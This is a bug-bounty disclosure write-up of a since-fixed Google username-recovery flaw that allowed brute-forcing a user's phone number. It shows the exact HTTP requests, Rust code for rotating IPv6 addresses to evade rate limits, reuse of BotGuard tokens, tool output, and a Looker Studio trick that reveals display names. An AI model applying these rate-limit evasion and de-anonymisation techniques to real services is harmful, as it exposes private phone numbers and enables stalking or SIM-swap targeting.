Brute-Forcing the Phone Number of Any Google User

A security researcher discovers a vulnerability in Google's username recovery form that allows brute-forcing the phone number of any Google user using IPv6 rotation and BotGuard token reuse, earning a $5,000 bug bounty.

A few months ago I disabled JavaScript in my browser to check whether any Google services on the modern internet still work without JS. Surprisingly, the username recovery form still worked!

This surprised me, as I was used to thinking that since 2018, account recovery forms required JavaScript because they relied on botguard solutions generated from heavily obfuscated JavaScript code to protect against abuse.

A Closer Look at the Endpoints

It appeared that the username recovery form allows checking whether a phone number or email address is associated with a specific display name. This required 2 HTTP requests:

Request 1:

POST /signin/usernamerecovery HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Content-Length: 81
Content-Type: application/x-www-form-urlencoded

Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359_

The cookies and gxf values are obtained from the HTML of the initial page.

Response 1:

HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/name?ess=..<SNIP>..&hl=en

We received an ess value associated with the specified phone number, which we can use for the next HTTP request.

Request 2:

POST /signin/usernamerecovery/lookup HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Origin: https://accounts.google.com
Content-Type: application/x-www-form-urlencoded

challengeId=0&challengeType=28&ess=<snip>&bgresponse=js_disabled&GivenName=john&FamilyName=smith

This request allows us to check whether a Google account exists with this phone number and the display name "John Smith".

Response (account not found):

HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...

Response (account found):

HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/challenge?ess=...

Can We Brute-Force This?

My first attempts were futile. It seemed that after a few requests, your IP address simply got rate-limited and a CAPTCHA appeared.

Maybe we can use proxies to bypass this? If we take the Netherlands, for example, the password recovery process gives us a phone number hint: •• ••••••03.

Mobile numbers in the Netherlands always start with 06, which means we would need to brute-force 6 digits. 10^6 = 1,000,000 numbers. This is feasible with proxies, but there should be a more efficient solution.

What About IPv6?

Most service providers, such as Vultr, provide /64 ranges, giving us 18,446,744,073,709,551,616 addresses. Theoretically, we could use IPv6 and rotate the IP address for each request, bypassing this rate limit.

The HTTP server also appeared to support IPv6:

~ $ curl -6 https://accounts.google.com
<HTML>
<HEAD>
<TITLE>Moved Temporarily</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Moved Temporarily</H1>
The document has moved <A HREF="...">here</A>.
</BODY>
</HTML>

To test this, I pointed my IPv6 range through a network interface and started working on gpb, using the local_address method from the reqwest library on ClientBuilder to set a random IP address from my subnet.

pub fn get_rand_ipv6(subnet: &str) -> IpAddr {
    let (ipv6, prefix_len) = match subnet.parse::<Ipv6Cidr>() {
        Ok(cidr) => {
            let ipv6 = cidr.first_address();
            let length = cidr.network_length();
            (ipv6, length)
        }
        Err(_) => {
            panic!("invalid IPv6 subnet");
        }
    };
    let ipv6_u128: u128 = u128::from(ipv6);
    let rand: u128 = random();
    let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);
    let host_part = (rand << prefix_len) >> prefix_len;
    let result = net_part | host_part;
    IpAddr::V6(Ipv6Addr::from(result))
}

pub fn create_client(subnet: &str, user_agent: &str) -> Client {
    let ip = get_rand_ipv6(subnet);
    Client::builder()
        .redirect(redirect::Policy::none())
        .danger_accept_invalid_certs(true)
        .user_agent(user_agent)
        .local_address(Some(ip))
        .build().unwrap()
}

Eventually, my PoC worked, but I was still getting CAPTCHAs. It seemed that for some reason, data center IP addresses using the form with JavaScript disabled always received a CAPTCHA. Damn!

Using a BotGuard Token from the JavaScript-Enabled Form

I was reviewing the 2 requests again, trying to find a way around this. bgresponse=js_disabled caught my attention. I remembered that in the account recovery form with JavaScript enabled, the botguard token was passed via the bgRequest parameter.

What if I replaced js_disabled with a botguard token from the JavaScript-enabled form request? I tried it, and it worked. It seemed the botguard token had no rate limits on the non-JavaScript form. But who are all these random people?

$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000
Starting with 3000 threads...
HIT: +31612345603
HIT: +31623456703
HIT: +31634567803
HIT: +31645678903
HIT: +31656789003
HIT: +31658854003
HIT: +31667890103
HIT: +31678901203
HIT: +31689012303
HIT: +31690123403
HIT: +31701234503
HIT: +31712345603
HIT: +31723456703

It took me a while to realize that these were people who had the first name "Henry" with no last name in their Google account, plus a phone number ending in 03. For such numbers, usernamerecovery/challenge was returned with the name Henry and any last name.

I added some extra code to check for a possible match with a random last name like 0fasfk1AFko1wf. If a match came up, it would be filtered out:

$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000
Starting with 3000 threads...
HIT: +31658854003
Finished.

In practice, it is unlikely to get more than one match, since the chance of encountering another Google user with the same first name + last name + last 2 digits and country code is extremely small.

A Few Issues to Resolve

We have a basic PoC, but there are still some problems to address:

  • How can we determine the country code of the victim's phone?
  • How can we find out the display name of the victim's Google account?

How Can We Determine the Country Code?

Quite interestingly, we can determine the country code based on the phone mask provided during the password recovery process. In fact, for each number, Google uses the "national format" from the libphonenumbers library.

Here are some examples:

{
    ...
    "• (•••) •••-••-••": ["ru"],
    "•• ••••••••": ["nl"],
    "••••• ••••••": ["gb"],
    "(•••) •••-••••": ["us"]
}

I wrote a script that collected national format masks for all countries into a mask.json file.

How Can We Find Out the Display Name?

In 2023, Google changed its policy, showing names only when there was direct interaction with the target (emails, shared documents, etc.), gradually removing names from endpoints. By April 2024, they updated their internal FocusBackend service, completely stopping the return of display names for unauthenticated accounts — removing display names virtually everywhere.

After all these changes, it was difficult to find a display name leak. But eventually, after studying various Google products, I discovered that I could create a document in Looker Studio, transfer ownership to the victim, and the victim's display name would be shown on the main page without requiring any interaction from the victim.

Optimization

Using number validation (the libphonenumbers library), I was able to create a format.json file with mobile phone prefixes, known area codes, and the number of digits for each country.

...
  "nl": {
        "code": "31",
        "area_codes": ["61", "62", "63", "64", "65", "68"],
        "digits": [7]
    },
...

I also implemented real-time validation using the libphonenumber library to reduce the number of requests to the Google API for invalid numbers. For the botguard token, I wrote a Go script using chromedp that lets you generate BotGuard tokens via a simple API request:

$ curl http://localhost:7912/api/generate_bgtoken
{
  "bgToken": "<generated_botguard_token>"
}

Putting It All Together

We have a full attack chain; all that's left is to put it all together:

  • Obtain the Google account display name via Looker Studio
  • Go through the forgot password procedure for that email and get the masked phone number
  • Run the gpb program with the display name and masked phone number to brute-force and reveal the full phone number

Video demonstration: https://youtu.be/aM3ipLyz4sw

Time Required for Brute-Forcing

Using a server costing $0.30/hour with consumer-PC-level specs (16 vCPU), I can perform about 40,000 checks per second.

Having only the last 2 digits from the phone number hint in the password recovery process...

This time can also be significantly reduced using phone number hints from the password reset process of other services, such as PayPal, which provide several additional digits (e.g., +14•••••1779).

Timeline

  • 2025-04-14 — Report sent to vendor
  • 2025-04-15 — Vendor triaged the report
  • 2025-04-25 — "Nice catch!"
  • 2025-05-15 — Panel awarded $1,337 + swag. Rationale: Exploitation probability is low. (lol) (Issue qualified as an abuse-related methodology with high impact).
  • 2025-05-15 — Reward appeal: Per the Abuse VRP table, probability/exploitability is determined based on prerequisites needed for this attack and the victim's ability to detect exploitation. This attack has no prerequisites and cannot be detected by the victim.
  • 2025-05-22 — Panel awarded an additional $3,663. Rationale: Thank you for your feedback on our initial reward. We considered your comments and discussed them in detail. We are happy to inform you that we increased the probability to medium and adjusted the reward to $5,000 (plus the swag code we already sent). Thank you for the report; we look forward to your next findings.
  • 2025-05-22 — Vendor confirmed that patches are being prepared.
  • 2025-05-22 — Agreed with the vendor on disclosure for 2025-06-09.
  • 2025-06-06 — Vendor confirmed that the username recovery form without JS has been fully fixed.
  • 2025-06-09 — Report disclosed.